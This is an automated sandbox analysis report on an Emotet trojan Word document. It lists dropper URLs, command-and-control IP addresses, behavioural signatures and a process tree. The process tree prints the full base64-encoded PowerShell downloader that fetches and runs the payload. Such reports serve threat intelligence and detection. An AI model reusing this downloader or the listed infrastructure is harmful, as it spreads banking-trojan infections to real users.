Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

1

Analysis

  • max time kernel
    60s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    12/08/2020, 12:24

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_de6bb223fde06dc9471d371e3e0ef74d8ff81566308409edeebd1e398cd6ca6d_2020-08-12__122211._doc.doc
  • Size 231KB
  • Sample200812-t1cdc6497s
  • SHA256 de6bb223fde06dc9471d371e3e0ef74d8ff81566308409edeebd1e398cd6ca6d
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://galaenterprises.com.au/site/6kw_wao_ekmv5w/
  • exe.dropper

    http://cookie.com.br/supleforma/9_j08_39f4phvj/
  • exe.dropper

    http://genevievebeaupre.com/wp-admin/7fd9o_6k_mev/
  • exe.dropper

    http://gazedice.com/loggers/o_rz_46d99/
  • exe.dropper

    https://wb0rur.com/certificates/h3_dmn_vc03ptvqg/

Extracted

Family

  • emotet

C2

  • 174.102.48.180:80

  • 88.217.172.164:443

  • 51.75.33.120:8080

  • 62.138.26.28:8080

  • 169.239.182.217:8080

  • 114.146.222.200:80

  • 116.203.32.252:8080

  • 103.86.49.11:8080

  • 74.120.55.163:80

  • 41.60.200.34:80

  • 209.182.216.177:443

  • 157.245.99.39:8080

  • 87.106.139.101:8080

  • 152.168.248.128:443

  • 104.236.246.93:8080

  • 47.144.21.12:443

  • 139.130.242.43:80

  • 181.230.116.163:80

  • 72.12.127.184:443

  • 61.19.246.238:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_de6bb223fde06dc9471d371e3e0ef74d8ff81566308409edeebd1e398cd6ca6d_2020-08-12__122211._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:112
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABGAEkARQBQAFQAawBjAGcAPQAnAFgASABNAFYARgB2AHcAcgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYwBVAHIASQBgAFQAYABZAFAAUgBPAHQATwBDAGAAbwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAUQBEAFMAQgBQAGIAZgBjACAAPQAgACcANQA4ADIAJwA7ACQAUQBZAFMAQgBLAG4AawBpAD0AJwBJAEgASgBWAEIAegBoAGIAJwA7ACQATABNAEoAQwBRAG8AZgB1AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABRAEQAUwBCAFAAYgBmAGMAKwAnAC4AZQB4AGUAJwA7ACQAVgBTAFkAQQBLAGEAaQBtAD0AJwBVAFkAVwBGAFgAbQBmAGwAJwA7ACQASQBRAEMAUwBGAHMAYwBiAD0AJgAoACcAbgBlAHcAJwArACcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABuAEUAVAAuAHcAZQBiAGMAbABpAGUAbgB0ADsAJABUAFAASABHAEYAYwBhAG0APQAnAGgAdAB0AHAAOgAvAC8AZwBhAGwAYQBlAG4AdABlAHIAcAByAGkAcwBlAHMALgBjAG8AbQAuAGEAdQAvAHMAaQB0AGUALwA2AGsAdwBfAHcAYQBvAF8AZQBrAG0AdgA1AHcALwAqAGgAdAB0AHAAOgAvAC8AYwBvAG8AawBpAGUALgBjAG8AbQAuAGIAcgAvAHMAdQBwAGwAZQBmAG8AcgBtAGEALwA5AF8AagAwADgAXwAzADkAZgA0AHAAaAB2AGoALwAqAGgAdAB0AHAAOgAvAC8AZwBlAG4AZQB2AGkAZQB2AGUAYgBlAGEAdQBwAHIAZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ANwBmAGQAOQBvAF8ANgBrAF8AbQBlAHYALwAqAGgAdAB0AHAAOgAvAC8AZwBhAHoAZQBkAGkAYwBlAC4AYwBvAG0ALwBsAG8AZwBnAGUAcgBzAC8AbwBfAHIAegBfADQANgBkADkAOQAvACoAaAB0AHQAcABzADoALwAvAHcAYgAwAHIAdQByAC4AYwBvAG0ALwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAvAGgAMwBfAGQAbQBuAF8AdgBjADAAMwBwAHQAdgBxAGcALwAnAC4AIgBTAHAATABgAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE4ARwBUAEIASgBjAHkAeAA9ACcATgBNAEsAVwBYAHUAZQB2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABLAFcASwBBAEUAaABuAGoAIABpAG4AIAAkAFQAUABIAEcARgBjAGEAbQApAHsAdAByAHkAewAkAEkAUQBDAFMARgBzAGMAYgAuACIARABPAFcAYABOAGAATABPAEEARABmAGkAYABsAGUAIgAoACQASwBXAEsAQQBFAGgAbgBqACwAIAAkAEwATQBKAEMAUQBvAGYAdQApADsAJABCAFEATwBTAFQAeABsAHAAPQAnAEcARABKAFgAUABwAHEAdQAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEwATQBKAEMAUQBvAGYAdQApAC4AIgBMAGAARQBuAGcAdABoACIAIAAtAGcAZQAgADMANQA3ADAANAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwBSAGUAYQBgAFQARQAiACgAJABMAE0ASgBDAFEAbwBmAHUAKQA7ACQAVABJAFcAQgBNAHQAdQBhAD0AJwBZAEEAQgBBAEIAcABlAHYAJwA7AGIAcgBlAGEAawA7ACQAVQBOAFYAUQBVAHIAcgB0AD0AJwBRAFgAVgBGAEQAYQBmAGMAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgBQAEIAWgBaAHgAdABxAD0AJwBGAEQASABJAEsAdQB3AHoAJwA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1864
  • C:\Users\Admin\582.exe
    C:\Users\Admin\582.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1752
    • C:\Windows\SysWOW64\msobjs\SMBHelperClass.exe
      "C:\Windows\SysWOW64\msobjs\SMBHelperClass.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1676

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/112-10-0x0000000002100000-0x0000000002101000-memory.dmp
        Download

        memory/112-6-0x000000000BE50000-0x000000000BE54000-memory.dmp
        Download

        memory/112-4-0x0000000006E20000-0x0000000007020000-memory.dmp
        Download

        memory/112-2-0x0000000008880000-0x0000000008884000-memory.dmp
        Download

        memory/112-5-0x000000000ADD0000-0x000000000ADD4000-memory.dmp
        Download

        memory/1676-23-0x00000000002E0000-0x00000000002EC000-memory.dmp
        Download

        memory/1752-20-0x00000000003E0000-0x00000000003EC000-memory.dmp
        Download

        memory/1864-13-0x000000001AD90000-0x000000001AD91000-memory.dmp
        Download

        memory/1864-17-0x000000001C640000-0x000000001C641000-memory.dmp
        Download

        memory/1864-16-0x000000001B640000-0x000000001B641000-memory.dmp
        Download

        memory/1864-15-0x0000000002440000-0x0000000002441000-memory.dmp
        Download

        memory/1864-14-0x0000000002770000-0x0000000002771000-memory.dmp
        Download

        memory/1864-12-0x0000000002400000-0x0000000002401000-memory.dmp
        Download

        memory/1864-9-0x000007FEF2440000-0x000007FEF2E2C000-memory.dmp
        Download

        memory/2008-24-0x000007FEF2B60000-0x000007FEF2DDA000-memory.dmp
        Download